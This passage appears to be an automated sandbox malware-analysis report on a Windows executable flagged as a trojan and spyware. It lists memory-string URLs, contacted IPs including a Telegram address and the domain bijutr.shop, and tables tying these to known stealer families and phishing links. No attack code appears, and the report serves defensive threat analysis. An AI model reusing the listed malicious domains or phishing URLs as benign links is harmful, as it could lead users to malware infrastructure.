http://anglebug.com/5281	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icormat	chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.googl0	chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325263210.00001E90007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326895111.00001E9000C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actionshic	chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/installwebapp?usp=chrome_defaultjb	chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 0000000B.00000002.2328952527.00001E90012D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 0000000B.00000003.2247463399.00001E900033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2472336978.000008C40017C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.16.dr, service_worker_bin_prod.js.16.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.16.dr	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	false		high
https://t.me/k04aelm0nk3Mozilla/5.0	aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, CTJWTJ.5.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.16.dr	false		high
https://www.youtube.com/	chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326962003.00001E9000CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.16.dr	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 0000000B.00000002.2324994448.00001E9000730000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 0000000B.00000002.2325498651.00001E9000858000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324282199.00001E9000558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/	chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 0000000B.00000003.2233552401.00001E90001C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000F.00000003.2392125839.000008C400270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-4.c	chrome.exe, 0000000B.00000002.2323554720.00001E9000310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	false		high
https://chromewebstore.google.com/	chrome.exe, 0000000B.00000002.2322505965.00001E900000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000002.2472336978.000008C40017C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.16.dr	false		high
https://www.youtube.com/?feature=ytcaogl	chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	manifest.json0.16.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.16.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	false		high
https://msn.comXIDv10	Cookies.18.dr	false		high
https://chrome.google.com/webstore/	manifest.json.16.dr	false		high
https://google-ohttp-relay-join.fastly-edge.com/#	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.16.dr	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/&	chrome.exe, 0000000B.00000003.2276055136.00001E90017CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2276701184.00001E90017D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.16.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.16.158.176	unknown	European Union	20940	AKAMAI-ASN1EU	false
23.219.161.152	unknown	United States	20940	AKAMAI-ASN1EU	false
52.168.117.170	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
23.219.161.132	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
188.245.216.205	bijutr.shop	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.201.20	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.28	unknown	United States	20940	AKAMAI-ASN1EU	false
18.238.49.124	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.201.11	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.25	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581195
Start date and time:	2024-12-27 08:19:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aD7D9fkpII.exe renamed because original name is a hash value
Original Sample Name:	6b3fbdaf99ece34f12dc443f1c630812.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/282@24/20
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 75 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 172.217.19.227, 142.250.181.142, 173.194.220.84, 172.217.17.46, 172.217.21.35, 142.250.181.74, 172.217.17.74, 172.217.19.202, 216.58.208.234, 172.217.21.42, 142.250.181.138, 172.217.19.234, 172.217.19.10, 142.250.181.106, 172.217.17.42, 142.250.181.42, 13.89.179.12, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.19.198.56, 23.32.238.138, 23.32.238.187, 23.32.238.202, 23.32.238.216, 23.32.238.186, 23.32.238.208, 23.32.238.194, 23.32.238.203, 23.32.238.211, 23.32.238.219, 95.100.135.112, 95.100.135.90, 95.100.135.91, 95.100.135.106, 95.100.135.104, 95.100.135.82, 95.100.135.107, 95.100.135.105, 95.100.135.83, 13.87.96.169, 2.16.158.91, 2.16.158.90, 2.16.158.170, 2.16.158.83, 2.16.158.75, 2.16.158.169, 2.16.158.80, 2.16.158.82, 2.16.158.88, 199.232.210.172, 2.19.198.73, 23.32.238.96, 142.251.41.3, 142.251.40.195, 142.250.176.195, 20.190.147.9, 13.107.246.63, 172.202.163.200, 23.218.208.109, 94
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, onedsblobprdcus17.centralus.cloudapp.azure.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, blobcollector.events.data.trafficmanager.net, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, arc.msn.com, redirector.gvt1.com, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.c
Execution Graph export aborted for target aD7D9fkpII.exe, PID 572 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:20:25	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
2.16.158.176	skript.bat	Get hash	malicious	Vidar	Browse
2.16.158.176	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse
52.168.117.170	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	3e5cb809-f546-fb3c-b0e3-5de228b453ab.eml	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	https://merzcon-my.sharepoint.com/:f:/g/personal/cnico_merzcon_onmicrosoft_com/EmjHG5K9dP9BtgBBeTTFhjABJRRLGM6IhVrJlwBTMWY8rg?e=pfkS1f	Get hash	malicious	Unknown	Browse
	Message_2551600.eml	Get hash	malicious	Unknown	Browse
	fa5a527b.eml	Get hash	malicious	HTMLPhisher	Browse
	Message_2477367.eml	Get hash	malicious	Unknown	Browse
	https://eficensitcom-my.sharepoint.com/:f:/g/personal/prathyushap_eficensit_com/EmmWsEjkvfRJorJdypQBJdYBR0PBdaEDGU2Tg4-Q6_4WZw?e=8wSnKh&xsdata=MDV8MDJ8dGhvbWFzLmhvZXZlbEBoeWRyYXRpZ2h0LmNvbXwyZjliZjI0NTdmZDI0NDRiNzk1NzA4ZGNkMmYxZTdlNXwxNjAyYWU4MjAyNjY0MGQ2OTEwYjExNjgwZmUwZjZhNXwwfDB8NjM4NjE3MTgzNjU0MDEzNTQyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=UWhyaGFVOWYxMGt6Z1piU1hUTDdKa2VCeVdQWUZwd2NwR09TSmE2eC9xVT0%3d	Get hash	malicious	HTMLPhisher	Browse
	https://nmgovdot-my.sharepoint.com/:f:/g/personal/brian_filip_nmgov_co/EopUqBu8fqpOvw_R7W8qXnEBWw032PoWoE-pjka6mBLMVw?e=G3klTx	Get hash	malicious	HtmlDropper	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	din.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	yoda.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	script.ps1	Get hash	malicious	Vidar	Browse	149.154.167.99
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
bijutr.shop	installer.bat	Get hash	malicious	Vidar	Browse	188.245.216.205
	skript.bat	Get hash	malicious	Vidar	Browse	188.245.216.205
	din.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
	yoda.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
	lem.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
	script.ps1	Get hash	malicious	Vidar	Browse	188.245.216.205
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	188.245.216.205
chrome.cloudflare-dns.com	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
	skript.bat	Get hash	malicious	Vidar	Browse	162.159.61.3
	din.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lem.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	WRD1792.docx.doc	Get hash	malicious	Dynamer	Browse	162.159.61.3
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	https://jkqbjwq.maxiite.com	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	installer.bat	Get hash	malicious	Vidar	Browse	94.245.104.56
	skript.bat	Get hash	malicious	Vidar	Browse	94.245.104.56
	din.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	lem.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	94.245.104.56
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	installer.bat	Get hash	malicious	Vidar	Browse	23.209.72.7
	skript.bat	Get hash	malicious	Vidar	Browse	2.16.158.83
	din.exe	Get hash	malicious	Vidar	Browse	23.44.201.32
	lem.exe	Get hash	malicious	Vidar	Browse	23.209.72.40
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AiaStwRBdI.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HJVzgKyC0y.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	rUfr2hQGOb.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	YhF4vhbnMW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
MICROSOFT-CORP-MSN-AS-BLOCKUS	installer.bat	Get hash	malicious	Vidar	Browse	20.42.73.30
	din.exe	Get hash	malicious	Vidar	Browse	51.104.15.253
	lem.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	phish_alert_iocp_v1.4.48 - 2024-12-26T095152.060.eml	Get hash	malicious	Unknown	Browse	52.109.68.129
	phish_alert_iocp_v1.4.48 - 2024-12-26T092852.527.eml	Get hash	malicious	Unknown	Browse	20.42.73.24
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	204.79.197.219
	Google Authenticator You're trying to sign in from a new location.msg	Get hash	malicious	Unknown	Browse	52.109.28.46
	xd.mips.elf	Get hash	malicious	Mirai	Browse	20.16.86.154
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	40.92.218.88
	xd.x86.elf	Get hash	malicious	Mirai	Browse	104.209.1.224
AKAMAI-ASN1EU	installer.bat	Get hash	malicious	Vidar	Browse	23.209.72.7
	skript.bat	Get hash	malicious	Vidar	Browse	2.16.158.83
	din.exe	Get hash	malicious	Vidar	Browse	23.44.201.32
